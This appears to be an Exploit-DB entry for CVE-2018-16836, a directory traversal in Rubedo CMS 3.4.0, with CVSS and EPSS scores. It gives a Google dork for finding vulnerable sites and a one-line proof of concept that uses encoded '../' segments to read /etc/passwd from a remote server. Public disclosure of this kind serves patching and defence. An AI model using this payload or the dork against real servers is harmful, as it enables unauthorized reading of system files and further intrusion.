Rubedo CMS 3.4.0 - Directory Traversal

2018-09-1200:00:00

Marouene Boubakri

www.exploit-db.com

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.6

Confidence

High

EPSS

0.235

Percentile

96.6%

JSON

# Exploit Title: Rubedo CMS 3.4.0 - Directory Traversal
# Google Dork: intext:rubedo.current.page.description
# Date: 2018-09-11
# Exploit Author: Marouene Boubakri
# Vendor Homepage: https://www.rubedo-project.org
# Version: through 3.4.0
# Tested on: Linux
# CVE : CVE-2018-16836

# PoC:
# Read /etc/passwd file from remote server

/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd'